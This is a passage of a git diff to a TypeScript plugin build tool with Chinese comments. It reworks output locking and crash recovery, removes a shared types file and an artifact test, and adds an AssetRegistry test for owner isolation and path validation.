旧锁记录的进程号,用于区分活跃锁和崩溃遗留锁。 */ - const record = JSON.parse(await fs.readFile(lockPath, 'utf8')) as { pid?: number }; - if (typeof record.pid !== 'number') - throw new Error('lock has no process id', { cause: error }); try { - process.kill(record.pid, 0); - throw new Error(`Managed output is locked by process ${record.pid}: ${outDir}`, { cause: error }); - } catch /** processError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (processError) { - if ((processError as NodeJS.ErrnoException).code !== 'ESRCH') - throw processError; + /** hard-link publication 是多个 acplugin 进程间的原子事务互斥点。 */ + const token = await publishManagedOutputLock(lockPath); + ACTIVE_LOCK_TOKENS.add(token); + return token; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'EEXIST') + throw error; + } + try { + /** final lock 从出现起就应当是完整 schema 3 record。 */ + const observation = await readManagedOutputLock(lockPath); + /** 当前进程仍登记的 token 和任何其他存活 PID 都是活 writer。 */ + const live = observation.record !== undefined + && ((observation.record.pid === process.pid && ACTIVE_LOCK_TOKENS.has(observation.record.token)) + || (observation.record.pid !== process.pid && processIsAlive(observation.record.pid))); + if (live) + throw new Error(`Managed output is locked by process ${observation.record!.pid}.`); + /** 新协议不会发布 malformed record;旧 create→write 残留经复核后隔离。 */ + await quarantineManagedOutputLock(lockPath, observation); + } catch (lockError) { + if ((lockError as NodeJS.ErrnoException).code === 'ENOENT') + continue; + throw new Error(`Managed output is locked. ${String(lockError)}`, { cause: lockError }); } - await fs.rm(lockPath, { force: true }); - /** 清理死进程锁后由当前进程重新取得的句柄。 */ - const handle = await fs.open(lockPath, 'wx'); - await handle.writeFile(`${JSON.stringify({ schemaVersion: 1, pid: process.pid })}\n`); - return handle; - } catch /** lockError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (lockError) { - throw new Error(`Managed output is locked: ${outDir}. ${String(lockError)}`, { cause: lockError }); + } finally { + await releaseManagedOutputLockGuard(guard).catch(() => undefined); } } + throw new Error('Managed output lock could not be acquired after stale recovery.'); }; - /** 当前进程持有到事务 finally 结束的锁文件句柄。 */ - const lock = await acquireLock(); + /** lock token 从 recovery 一直持有到 cleanup 完成。 */ + const lockToken = await acquireLock(); try { await options.onPhase?.('lock-acquired'); - // 上次进程若在交换期间退出:缺少正式输出时恢复备份,否则删除已经过期的备份。 - if (await exists(backupPath)) { - if (!await exists(resolved)) - await fs.rename(backupPath, resolved); + /** pending 与 committed marker 共同消除 swap 后崩溃的恢复歧义。 */ + const pendingRecord = await readTransactionMarker(transactionPath, locations.base); + /** committed marker 必须与 pending record 描述同一个事务。 */ + const committedRecord = await readTransactionMarker(committedPath, locations.base); + if (pendingRecord !== undefined && committedRecord !== undefined + && JSON.stringify(pendingRecord) !== JSON.stringify(committedRecord)) { + throw new Error('Managed output transaction markers do not match.'); + } + /** 上次事务遗留 backup 的普通目录边界。 */ + const hasBackup = await exists(backupPath); + if (hasBackup) { + /** backup 只能是同级普通目录,绝不能恢复一个符号链接。 */ + const backupStat = await fs.lstat(backupPath); + if (backupStat.isSymbolicLink() || !backupStat.isDirectory()) + throw new Error('Managed output backup must be a regular directory.'); + } + if (committedRecord !== undefined) { + /** cleanup 已完成的事务保留新输出;异常缺失时回退到仍完整的旧 backup。 */ + if (!await exists(locations.resolved) && hasBackup) + await fs.rename(backupPath, locations.resolved); + else if (hasBackup) + await fs.rm(backupPath, { recursive: true, force: true }); + } else if (pendingRecord !== undefined) { + /** 未提交事务必须恢复调用前状态。 */ + if (pendingRecord.hadOutput) { + if (hasBackup) { + if (await exists(locations.resolved)) + await fs.rm(locations.resolved, { recursive: true, force: true }); + await fs.rename(backupPath, locations.resolved); + } else if (!await exists(locations.resolved)) { + throw new Error('Managed output rollback record lost both output and backup.'); + } + } else { + if (hasBackup) + throw new Error('Managed output rollback record has an unexpected backup.'); + if (await exists(locations.resolved)) + await fs.rm(locations.resolved, { recursive: true, force: true }); + } + } else if (hasBackup) { + /** 无 marker 的 backup 只可能来自已提交事务的最后清理窗口。 */ + if (!await exists(locations.resolved)) + await fs.rename(backupPath, locations.resolved); else await fs.rm(backupPath, { recursive: true, force: true }); } - if (await exists(transactionPath)) + /** recovery 后的正式输出必须仍位于工程内且无 symlink 祖先。 */ + if (await exists(locations.resolved)) + await validatePhysicalEntry(path.resolve(options.projectRoot), locations.resolved, 'directory'); + if (pendingRecord !== undefined) await fs.rm(transactionPath, { force: true }); - /** 清理由任何上次中断阶段遗留、且具有当前 outDir 专属前缀的 stage。 */ - const staleStagePrefix = `.${base}.acplugin-stage-`; - for (const entry of await fs.readdir(parent, { withFileTypes: true })) { - if (entry.name.startsWith(staleStagePrefix)) - await fs.rm(path.join(parent, entry.name), { recursive: true, force: true }); + if (committedRecord !== undefined) + await fs.rm(committedPath, { force: true }); + /** 未原子发布的 marker 草稿没有恢复权威,统一在锁内清理。 */ + await fs.rm(transactionWritingPath, { force: true }); + await fs.rm(committedWritingPath, { force: true }); + /** 只清理当前 outDir 专属前缀的旧 stage。 */ + const stalePrefix = `.${locations.base}.acplugin-stage-`; + for (const entry of await fs.readdir(locations.parent, { withFileTypes: true })) { + if (entry.name.startsWith(stalePrefix)) + await fs.rm(path.join(locations.parent, entry.name), { recursive: true, force: true }); } await options.onPhase?.('recovery-complete'); - // 阶段目录必须与输出同级,后续 rename 才能保持同一文件系统内的原子交换语义。 - stage = await fs.mkdtemp(path.join(parent, `.${base}.acplugin-stage-`)); - await materializeUnitRoots(stage, unitRoots); + /** subset 在锁内快照未选 Platform;full 使用空保留集。 */ + const preserved = scope.type === 'subset' + ? await snapshotPreservedPlatforms(locations.resolved, new Set(scope.platforms)) + : Object.freeze([]); + stage = await fs.mkdtemp(path.join(locations.parent, `.${locations.base}.acplugin-stage-`)); + /** 先放入旧未选 Platform,再写入本轮 selected Units。 */ + await materializePreservedPlatforms(stage, preserved); + /** selected Units 直接从 AssetRegistry 做 TOCTOU materialization。 */ + const materialized = await materializePackageUnits(stage, units, assets); + /** 只有完整 stage 即将验证/swap 时才从私有 0700 规范为最终 0755。 */ + await normalizeFinalDirectoryModes(stage); await options.onPhase?.('stage-materialized'); - await validateMaterializedUnitRoots(stage, unitRoots); + /** selected Units、preserved Platforms 与 stage 顶层分别完成闭包验证。 */ + await validatePackageUnits(stage, units, materialized); + await validatePreservedPlatforms(stage, preserved); + await validateStagePlatforms(stage, units, preserved); + await validateFinalDirectoryModes(stage); + /** swap 前再次复核旧未选 Platform 没有在 snapshot 后变化。 */ + if (preserved.length > 0) + await validatePreservedPlatforms(locations.resolved, preserved); await options.onPhase?.('stage-validated'); - await fs.writeFile(transactionPath, JSON.stringify({ schemaVersion: 1, outDir: base }) + '\n', { flag: 'wx' }); + /** record 只含相对 basename、scope 和旧输出存在性,不记录绝对路径。 */ + const transactionRecord: TransactionRecord = Object.freeze({ + schemaVersion: 2, + outDir: locations.base, + scope: scope.type, + hadOutput: await exists(locations.resolved), + }); + await writeTransactionMarker(transactionPath, transactionRecord); + transactionWritten = true; await options.onPhase?.('transaction-written'); - if (await exists(resolved)) { - await fs.rename(resolved, backupPath); + if (await exists(locations.resolved)) { + await fs.rename(locations.resolved, backupPath); backupCreated = true; } try { await options.onPhase?.('backup-created'); - await fs.rename(stage, resolved); + await fs.rename(stage, locations.resolved); stage = undefined; outputSwapped = true; await options.onPhase?.('output-swapped'); await options.afterSwap?.(); + /** 只有必要 cleanup 成功后,崩溃恢复才允许保留新输出。 */ + await writeTransactionMarker(committedPath, transactionRecord); + } catch (error) { try { - await fs.rm(transactionPath, { force: true }); - } catch { - // 完整输出已经提交;遗留事务记录可由下次调用删除,不应把清理失败升级为构建失败。 - } - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - // 交换或 afterSwap 失败时,先移除不完整的新输出,再把旧备份恢复到正式路径。 - try { - if (outputSwapped && await exists(resolved)) - await fs.rm(resolved, { recursive: true, force: true }); + /** afterSwap/rename 失败统一恢复旧输出。 */ + if (outputSwapped && await exists(locations.resolved)) + await fs.rm(locations.resolved, { recursive: true, force: true }); if (backupCreated && await exists(backupPath)) - await fs.rename(backupPath, resolved); - } catch /** rollbackError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (rollbackError) { - throw new AggregateError([error, rollbackError], `Managed output rollback failed: ${outDir}`, { cause: rollbackError }); + await fs.rename(backupPath, locations.resolved); + } catch (rollbackError) { + throw new AggregateError([error, rollbackError], 'Managed output rollback failed.', { cause: rollbackError }); } throw error; } @@ -408,35 +986,54 @@ async function commitUnitRoots( try { await fs.rm(backupPath, { recursive: true, force: true }); } catch { - // 正式输出已经完整;下次调用会处理遗留备份,不应推翻成功的目录交换。 + /** committed marker 保留到下次 recovery 删除过期 backup。 */ + return; } } - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if (!(error instanceof AggregateError)) { + /** backup 已清理后才可删除恢复 record;committed marker 最后删除。 */ + try { + await fs.rm(transactionPath, { force: true }); + transactionWritten = false; + } catch { + /** 两个 marker 留给下次 recovery 确认新输出已提交。 */ + return; + } + try { + await fs.rm(committedPath, { force: true }); + } catch { + /** 单独的 committed marker 同样可由下次 recovery 安全清理。 */ + } + } catch (error) { + if (!(error instanceof AggregateError) && transactionWritten) { try { await fs.rm(transactionPath, { force: true }); + await fs.rm(committedPath, { force: true }); + transactionWritten = false; } catch { - // 遗留事务记录是可恢复状态,下次取得锁后会统一清理。 + /** 无法清理的 marker 是下一轮可恢复状态。 */ } } throw error; } finally { - if (stage) { + if (stage !== undefined) { try { await fs.rm(stage, { recursive: true, force: true }); } catch { - // 阶段目录清理失败可由人工或后续维护处理,不能覆盖原始事务结果。 + /** stage 清理失败不覆盖原始 transaction 结果。 */ } } try { - await lock.close(); - } catch { - // 当前进程独占该句柄;关闭失败不改变已经确定的提交或回滚结果。 - } - try { - await fs.rm(lockPath, { force: true }); + /** release 也必须与 stale recovery/new publication 使用同一 metadata guard。 */ + const guard = await acquireManagedOutputLockGuard(lockPath); + try { + await releaseManagedOutputLock(lockPath, lockToken); + } finally { + await releaseManagedOutputLockGuard(guard); + } } catch { - // 遗留锁记录会在后续调用中通过进程存活检查完成协调。 + /** 遗留 token 从 active set 撤销后将被同 PID 的下一轮识别为 stale。 */ + } finally { + ACTIVE_LOCK_TOKENS.delete(lockToken); } } } diff --git a/packages/core/src/types.ts b/packages/core/src/types.ts deleted file mode 100644 index 94ad9d8..0000000 --- a/packages/core/src/types.ts +++ /dev/null @@ -1,375 +0,0 @@ -import type { - AcpluginExtension, - AcpluginPlatform, - DeliveryUnitRole, - DeliveryUnitType, - DocumentFormat, - JsonObject, - PlatformDeliveryType, - PlatformId, -} from './contracts.js'; - -/** Core 构建管线能够响应的命令集合。 */ -export const BUILD_COMMANDS = ['dev', 'validate', 'inspect', 'build'] as const; - -/** 配置加载和构建行为可使用的运行模式。 */ -export const BUILD_MODES = ['development', 'production'] as const; - -/** 描述 Component 在目标平台上支持程度的有序等级。 */ -export const COMPATIBILITY_LEVELS = ['native', 'transform', 'degraded', 'unsupported'] as const; - -/** acplugin 核心层直接建模的规范 Component 类型。 */ -export const COMPONENT_KINDS = ['command', 'skill', 'agent'] as const; - -/** Core 构建命令名称的联合类型。 */ -export type BuildCommand = typeof BUILD_COMMANDS[number]; - -/** 构建运行模式的联合类型。 */ -export type BuildMode = typeof BUILD_MODES[number]; - -/** 平台兼容性等级的联合类型。 */ -export type CompatibilityLevel = typeof COMPATIBILITY_LEVELS[number]; - -/** 规范 Component 种类的联合类型。 */ -export type ComponentKind = typeof COMPONENT_KINDS[number]; - -/** 诊断信息允许使用的严重级别。 */ -export type DiagnosticSeverity = 'error' | 'warning'; - -/** 产物允许写入的普通文件和可执行文件权限。 */ -export type ArtifactMode = 0o644 | 0o755; - -/** 指向用户工程中某个来源位置的可序列化描述。 */ -export interface SourceLocation { - readonly path: string; - readonly line?: number; - readonly column?: number; -} - -/** 构建各阶段共享的结构化诊断信息。 */ -export interface Diagnostic { - readonly code: string; - readonly severity: DiagnosticSeverity; - readonly message: string; - readonly phase: string; - readonly platform?: PlatformId; - readonly extension?: string; - readonly component?: { readonly kind: ComponentKind; readonly id: string }; - readonly owner?: string; - readonly location?: SourceLocation; - readonly fieldPath?: readonly (string | number)[]; - readonly related?: readonly SourceLocation[]; - readonly hint?: string; -} - -/** 记录某项能力在指定平台上的转换结果和原因。 */ -export interface CompatibilityEntry { - readonly platform: PlatformId; - readonly subject: string; - readonly capability: string; - readonly level: CompatibilityLevel; - readonly transformation?: string; - readonly reason: string; - readonly causes?: readonly string[]; -} - -/** 可选 Plugin 元数据在单个平台上的最终处理结果。 */ -export type MetadataDisposition = 'emitted' | 'omitted'; - -/** 记录单个元数据字段的输出位置或省略原因。 */ -export interface MetadataDispositionEntry { - readonly platform: PlatformId; - readonly field: string; - readonly disposition: MetadataDisposition; - readonly output?: string; - readonly reason: string; -} - -/** Component 对其他 Skill 或 Agent 的规范依赖引用。 */ -export interface ComponentRequires { - skills: readonly string[]; - agents: readonly string[]; -} - -/** Component 按已配置 Platform ID 保存的确定性专属字段。 */ -export type ComponentPlatformFields = Readonly>>; - -/** 从 `src/commands` 扫描得到的规范 Command。 */ -export interface CommandComponent { - readonly kind: 'command'; - readonly id: string; - readonly description: string; - readonly argumentHint?: string; - readonly body: string; - readonly sourcePath: string; - readonly requires: ComponentRequires; - readonly platforms: ComponentPlatformFields; -} - -/** Skill 目录中需要随主体一起发布的辅助文件。 */ -export interface SkillAuxiliaryFile { - readonly path: string; - readonly sourcePath: string; - readonly mode: ArtifactMode; -} - -/** 从 `src/skills` 扫描得到的规范 Skill。 */ -export interface SkillComponent { - readonly kind: 'skill'; - readonly id: string; - readonly description: string; - readonly invocation: { readonly user: boolean; readonly model: boolean }; - readonly body: string; - readonly sourcePath: string; - readonly requires: ComponentRequires; - readonly platforms: ComponentPlatformFields; - readonly auxiliaryFiles: readonly SkillAuxiliaryFile[]; -} - -/** 与具体平台模型名称解耦的 Agent 能力级别。 */ -export type AgentModel = 'inherit' | 'fast' | 'capable'; - -/** acplugin 用于描述 Agent 所需工具能力的规范集合。 */ -export type AgentCapability - = | 'filesystem:read' - | 'filesystem:write' - | 'search' - | 'shell' - | 'network' - | 'delegate'; - -/** 从 `src/agents` 扫描得到的规范 Agent。 */ -export interface AgentComponent { - readonly kind: 'agent'; - readonly id: string; - readonly description: string; - readonly model: AgentModel; - readonly capabilities: readonly AgentCapability[]; - readonly body: string; - readonly sourcePath: string; - readonly requires: ComponentRequires; - readonly platforms: ComponentPlatformFields; -} - -/** Core 构建管线能够处理的任意规范 Component。 */ -export type Component = CommandComponent | SkillComponent | AgentComponent; - -/** 从 Public 目录收集且尚未转换为 Artifact 的文件描述。 */ -export interface PublicFile { - readonly sourcePath: string; - readonly targetPath: string; - readonly mode: ArtifactMode; -} - -/** Plugin 作者的统一名称、邮件与主页信息。 */ -export interface PluginAuthor { - readonly name: string; - readonly email?: string; - readonly url?: string; -} - -/** Plugin 配置中与平台无关、可供所有生命周期只读访问的元数据。 */ -export interface PluginMetadata { - readonly name: string; - readonly version: string; - readonly description: string; - readonly displayName?: string; - readonly author?: PluginAuthor; - readonly homepage?: string; - readonly repository?: string; - readonly license?: string; - readonly keywords?: readonly string[]; -} - -/** Scanner 完成解析与图校验后交给固定生命周期的只读工程模型。 */ -export interface PluginProject { - readonly root: string; - readonly metadata: PluginMetadata; - readonly commands: readonly CommandComponent[]; - readonly skills: readonly SkillComponent[]; - readonly agents: readonly AgentComponent[]; - readonly publicFiles: readonly PublicFile[]; -} - -/** 将 Public 目录中的来源路径映射到产物路径的复制规则。 */ -export interface PublicCopyRule { - from: string; - to: string; -} - -/** 用户可使用的 Public 目录简写或完整配置。 */ -export type PublicConfig = false | string | { - dir?: string; - copy?: readonly PublicCopyRule[]; -}; - -/** 控制构建输出目录和全局兼容性严格度的配置。 */ -export interface BuildConfig { - outDir?: string; - strict?: boolean; -} - -/** 调用函数式配置时传入的稳定运行环境。 */ -export interface ConfigEnvironment { - command: BuildCommand; - mode: BuildMode; -} - -/** `acplugin.config.ts` 允许导出的对象或异步配置工厂。 */ -export type UserConfigExport = UserConfig | ((environment: ConfigEnvironment) => UserConfig | Promise); - -/** 用户在 `acplugin.config.ts` 中声明的顶层配置契约。 */ -export interface UserConfig { - readonly name: string; - readonly version: string; - readonly description: string; - readonly displayName?: string; - readonly author?: PluginAuthor; - readonly homepage?: string; - readonly repository?: string; - readonly license?: string; - readonly keywords?: readonly string[]; - readonly srcDir?: string; - readonly public?: PublicConfig; - readonly platforms: readonly AcpluginPlatform[]; - readonly extensions?: readonly AcpluginExtension[]; - readonly build?: BuildConfig; -} - -/** 配置解析后带最终严格度的品牌化 Platform 实例。 */ -export interface ResolvedPlatform { - readonly platform: AcpluginPlatform; - readonly strict: boolean; -} - -/** 完成目录解析和默认值合并后的 Public 配置。 */ -export interface ResolvedPublicConfig { - enabled: boolean; - dir: string; - copy?: readonly PublicCopyRule[]; -} - -/** Core 内部使用的完整、绝对路径化配置。 */ -export interface ResolvedConfig { - readonly root: string; - readonly configPath: string; - readonly command: BuildCommand; - readonly mode: BuildMode; - readonly metadata: PluginMetadata; - readonly srcDir: string; - readonly public: ResolvedPublicConfig; - readonly platforms: readonly ResolvedPlatform[]; - readonly extensions: readonly AcpluginExtension[]; - readonly outDir: string; - readonly strict: boolean; -} - -/** 已驻留内存、可安全快照的 Artifact 字节来源。 */ -export interface ArtifactBytesSource { - readonly type: 'bytes'; - readonly value: Uint8Array; -} - -/** 构建提交阶段才读取的本地普通文件来源。 */ -export interface ArtifactFileSource { - readonly type: 'file'; - readonly path: string; -} - -/** Platform 或 Extension Adapter 向 Core 提交的待验证产物。 */ -export interface ArtifactInput { - readonly path: string; - readonly source: ArtifactBytesSource | ArtifactFileSource; - readonly mode?: ArtifactMode; -} - -/** Artifact Registry 校验并冻结后的不可变产物记录。 */ -export interface Artifact extends ArtifactInput { - readonly owner: string; - readonly mode: ArtifactMode; - readonly size: number; - readonly sha256: string; -} - -/** 加载可信 TypeScript 配置或 Extension 描述文件的抽象接口。 */ -export type TypeScriptModuleLoader = (path: string) => Promise; - -/** Core Collector 和生命周期内部对象用于提交结构化诊断的最小接口。 */ -export interface DiagnosticCollectorLike { - - /** 添加一条完整诊断,Collector 会在落盘前统一脱敏。 */ - add(diagnostic: Diagnostic): void; - - /** 添加阻止当前构建成功的错误诊断。 */ - error(code: string, message: string, options?: Partial>): void; - - /** 添加允许构建继续但需要用户关注的警告诊断。 */ - warning(code: string, message: string, options?: Partial>): void; - readonly diagnostics: readonly Diagnostic[]; - readonly hasErrors: boolean; -} - -/** BuildResult 中可公开展示且不包含内容字节的单个 Artifact 摘要。 */ -export interface ArtifactReport { - readonly path: string; - readonly owner: string; - readonly mode: ArtifactMode; - readonly size: number; - readonly sha256: string; -} - -/** 一个主交付或 Distribution 的稳定、无绝对路径报告。 */ -export interface DeliveryUnitReport { - readonly platform: PlatformId; - readonly id: string; - readonly role: DeliveryUnitRole; - readonly type: DeliveryUnitType; - readonly artifacts: readonly ArtifactReport[]; -} - -/** inspect 报告中不暴露来源绝对路径的规范 Component 摘要。 */ -export interface ComponentReport { - readonly kind: ComponentKind; - readonly id: string; -} - -/** inspect 报告中包含严格度与交付形态的 Platform 摘要。 */ -export interface PlatformReport { - readonly id: PlatformId; - readonly apiVersion: '1'; - readonly deliveryType: PlatformDeliveryType; - readonly strict: boolean; -} - -/** inspect 报告中包含资源发现状态的 Extension 摘要。 */ -export interface ExtensionReport { - readonly name: string; - readonly apiVersion: '1'; - readonly hasResources: boolean; -} - -/** inspect 报告中不包含结构化值或内容字节的 Platform Document 摘要。 */ -export interface DocumentReport { - readonly platform: PlatformId; - readonly id: string; - readonly path: string; - readonly format: DocumentFormat; - readonly owner: `platform:${string}`; -} - -/** CLI、JSON 输出、Watch 状态与公开运行时共享的 Schema v1 构建结果。 */ -export interface BuildResult { - readonly schemaVersion: '1'; - readonly command: BuildCommand; - readonly success: boolean; - readonly committed: boolean; - readonly platforms: readonly PlatformId[]; - readonly platformDetails: readonly PlatformReport[]; - readonly components: readonly ComponentReport[]; - readonly extensions: readonly ExtensionReport[]; - readonly documents: readonly DocumentReport[]; - readonly deliveryUnits: readonly DeliveryUnitReport[]; - readonly diagnostics: readonly Diagnostic[]; - readonly compatibility: readonly CompatibilityEntry[]; - readonly metadata: readonly MetadataDispositionEntry[]; -} diff --git a/packages/core/test/artifacts.test.ts b/packages/core/test/artifacts.test.ts deleted file mode 100644 index 32113c0..0000000 --- a/packages/core/test/artifacts.test.ts +++ /dev/null @@ -1,125 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import { ArtifactRegistry, bytesArtifact } from '../src/index.js'; - -/** Artifact Registry 测试创建并统一清理的临时目录。 */ -const temporaryDirectories: string[] = []; - -/** @returns 已登记清理的 Artifact 来源根目录。 */ -async function temporaryRoot(): Promise { - /** 当前测试独占的临时来源根。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-artifacts-test-')); - temporaryDirectories.push(root); - return root; -} - -afterEach(async () => { - await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); -}); - -describe('Artifact Registry', () => { - it('snapshots bytes, computes metadata, and does not expose mutable content', async () => { - /** 调用方在 add 后仍会修改的原始字节。 */ - const inputBytes = new Uint8Array([1, 2, 3]); - /** 完成 owner、mode、size 与 hash 的 Artifact。 */ - const registry = new ArtifactRegistry(new Map()); - /** Registry 接管字节后生成的不可变 Artifact。 */ - const artifact = await registry.add('platform:test', bytesArtifact('config/data.bin', inputBytes)); - inputBytes[0] = 9; - /** getter 返回且随后被调用方修改的隔离副本。 */ - const exposed = artifact.source.type === 'bytes' ? artifact.source.value : new Uint8Array(); - exposed[1] = 9; - - expect(artifact).toEqual(expect.objectContaining({ owner: 'platform:test', mode: 0o644, size: 3 })); - expect(artifact.sha256).toHaveLength(64); - expect(artifact.source.type === 'bytes' ? [...artifact.source.value] : []).toEqual([1, 2, 3]); - expect(Object.isFrozen(artifact)).toBe(true); - expect(Object.isFrozen(registry.artifacts)).toBe(true); - }); - - it('rejects absolute, escaping, case, Unicode, and file-directory path conflicts', async () => { - /** 当前冲突测试的独立 Registry。 */ - const registry = new ArtifactRegistry(new Map()); - await registry.add('platform:test', bytesArtifact('Assets/Café.txt', 'first')); - - await expect(registry.add('extension:test', bytesArtifact('assets/Cafe\u0301.txt', 'second'))).rejects.toThrow('collision'); - await expect(registry.add('extension:test', bytesArtifact('Assets/Café.txt/child', 'child'))).rejects.toThrow('file/directory'); - await expect(registry.add('extension:test', bytesArtifact('../escape', 'escape'))).rejects.toThrow('escapes'); - await expect(registry.add('extension:test', bytesArtifact('safe/../collapsed', 'escape'))).rejects.toThrow('parent-directory'); - await expect(registry.add('extension:test', bytesArtifact('/absolute', 'absolute'))).rejects.toThrow('relative'); - await expect(registry.add('extension:test', bytesArtifact('windows\\path', 'windows'))).rejects.toThrow('POSIX'); - await expect(registry.add('extension:test', bytesArtifact('nul\0path', 'nul'))).rejects.toThrow('NUL'); - }); - - it('derives file mode and rejects outside or symlinked sources without retaining paths', async () => { - /** Registry 允许读取的可信文件来源根。 */ - const root = await temporaryRoot(); - /** 可信根之外的文件来源。 */ - const outside = await temporaryRoot(); - await fs.writeFile(path.join(outside, 'outside.txt'), 'outside'); - /** 具有任意执行位、应收敛为 0755 的可信文件。 */ - const executable = path.join(root, 'tool'); - await fs.writeFile(executable, 'tool'); - await fs.chmod(executable, 0o711); - /** 指向可信根外部目录的中间符号链接。 */ - await fs.symlink(outside, path.join(root, 'linked')); - /** 当前文件来源测试 Registry。 */ - const registry = new ArtifactRegistry(new Map([ - ['platform:test', { roots: [root] }], - ])); - - await expect(registry.add('platform:test', { - path: 'retry.txt', - source: { type: 'file', path: path.join(outside, 'outside.txt') }, - })).rejects.toThrow('outside allowed roots'); - await expect(registry.add('platform:test', { - path: 'linked.txt', - source: { type: 'file', path: path.join(root, 'linked', 'outside.txt') }, - })).rejects.toThrow('symbolic links'); - /** 失败后的同路径重试必须可以正常加入。 */ - const retry = await registry.add('platform:test', bytesArtifact('retry.txt', 'safe')); - /** 未显式提供 mode 时从源文件执行位推导。 */ - const file = await registry.add('platform:test', { path: 'bin/tool', source: { type: 'file', path: executable } }); - expect(retry.size).toBe(4); - expect(file.mode).toBe(0o755); - }); - - it('isolates scanned project files and Extension work directories by Artifact owner', async () => { - /** 模拟 Scanner 已确认的 Component 文件所在工程。 */ - const projectRoot = await temporaryRoot(); - /** 唯一进入精确文件授权表的已扫描 Component。 */ - const scannedFile = path.join(projectRoot, 'src/skills/review/SKILL.md'); - /** 与已扫描文件同属工程、但没有被 Scanner 发现的任意文件。 */ - const unscannedFile = path.join(projectRoot, 'private.txt'); - await fs.mkdir(path.dirname(scannedFile), { recursive: true }); - await fs.writeFile(scannedFile, 'scanned'); - await fs.writeFile(unscannedFile, 'private'); - /** 两个 Extension 彼此隔离且不得交叉读取的工作目录。 */ - const extensionA = await temporaryRoot(); - /** 与 Extension A 隔离的第二个工作目录。 */ - const extensionB = await temporaryRoot(); - /** 仅由 Extension B 创建的本地产物。 */ - const extensionBFile = path.join(extensionB, 'built.txt'); - await fs.writeFile(extensionBFile, 'extension-b'); - /** 按完整 owner 限定精确文件或独占目录的 Registry。 */ - const registry = new ArtifactRegistry(new Map([ - ['platform:test', { files: [{ path: scannedFile, root: projectRoot }] }], - ['extension:a', { roots: [extensionA] }], - ['extension:b', { roots: [extensionB] }], - ])); - - await expect(registry.add('platform:test', { - path: 'private.txt', source: { type: 'file', path: unscannedFile }, - })).rejects.toThrow('outside allowed roots'); - await expect(registry.add('extension:a', { - path: 'stolen.txt', source: { type: 'file', path: extensionBFile }, - })).rejects.toThrow('outside allowed roots'); - /** 精确授权的扫描文件仍可由对应 Platform 正常产出。 */ - const scanned = await registry.add('platform:test', { - path: 'skills/review/SKILL.md', source: { type: 'file', path: scannedFile }, - }); - expect(scanned.owner).toBe('platform:test'); - }); -}); diff --git a/packages/core/test/asset-registry.test.ts b/packages/core/test/asset-registry.test.ts new file mode 100644 index 0000000..c564642 --- /dev/null +++ b/packages/core/test/asset-registry.test.ts @@ -0,0 +1,203 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { AssetRef } from '../src/kernel-sdk.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; + +/** Asset Registry 测试创建的临时根。 */ +const roots: string[] = []; + +/** + * 创建一套共享同一 BuildSession 的 Source/Work/Asset Registry。 + * + * @returns 测试 fixture 和 Registry 集合。 + */ +async function registries() { + /** 当前测试独占工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-asset-registry-')); + roots.push(root); + /** 作者来源根。 */ + const sourceRoot = path.join(root, 'src', 'owned'); + await fs.mkdir(sourceRoot, { recursive: true }); + await fs.writeFile(path.join(sourceRoot, 'source.txt'), 'source bytes\n'); + /** Core 内部 workDir 父目录。 */ + const workRoot = path.join(root, '.work'); + /** 当前 BuildSession capability scope。 */ + const scope = new BuildSessionScope(); + /** 当前 Session Source Registry。 */ + const sources = new SourceRegistry(scope, root); + /** 当前 Session WorkDir Registry。 */ + const work = new WorkDirectoryRegistry(scope, workRoot); + /** 当前 Session Asset Registry。 */ + const assets = new AssetRegistry(scope, sources, work); + return { root, sourceRoot, scope, sources, work, assets }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('AssetRegistry', () => { + it('copies bytes, binds owner and reports stable generated provenance', async () => { + /** 当前测试独占的 Registry 集合。 */ + const fixture = await registries(); + /** 调用方保留并将在签发后修改的原始字节。 */ + const input = Uint8Array.of(1, 2, 3); + /** extension owner 的闭包 Asset Service。 */ + const service = fixture.assets.service('extension:owned'); + /** 带稳定 operation/subjects 的内存 Asset。 */ + const asset = await service.fromBytes({ + bytes: input, + mode: 0o755, + origin: { operation: 'hook-runner', subjects: ['hook:beta', 'hook:alpha'] }, + }); + input[0] = 9; + /** 对外报告不包含私有 bytes 或物理路径。 */ + const description = fixture.assets.describe('extension:owned', asset); + + expect([...await service.read(asset)]).toEqual([1, 2, 3]); + expect(description.owner).toBe('extension:owned'); + expect(description.mode).toBe(0o755); + expect(description.sha256).toBe('039058c6f2c0cb492c533b0a4d14ef77cc0f78abccced5287d84a1a2011cfb81'); + expect(description.origin).toEqual({ + type: 'generated', + owner: 'extension:owned', + operation: 'hook-runner', + subjects: ['hook:alpha', 'hook:beta'], + }); + expect(JSON.stringify(asset)).not.toContain(fixture.root); + }); + + it('uses owner-local ref identities that do not reveal cross-owner scheduling', async () => { + /** 第一轮 Registry 模拟 owner-b 先完成。 */ + const first = await registries(); + /** 第一轮先由 owner-b 签发,模拟相反并发完成顺序。 */ + await first.assets.service('extension:b').fromBytes({ bytes: 'b', origin: { operation: 'build' } }); + /** 第一轮 owner-a 的首个 ref。 */ + const firstA = await first.assets.service('extension:a').fromBytes({ bytes: 'a', origin: { operation: 'build' } }); + /** 第二轮 Registry 模拟 owner-a 先完成。 */ + const second = await registries(); + /** 第二轮 owner-a 先签发。 */ + const secondA = await second.assets.service('extension:a').fromBytes({ bytes: 'a', origin: { operation: 'build' } }); + + expect(firstA.id).toBe(secondA.id); + }); + + it('creates SourceAsset refs and rejects forged, cross-owner, cross-session and expired 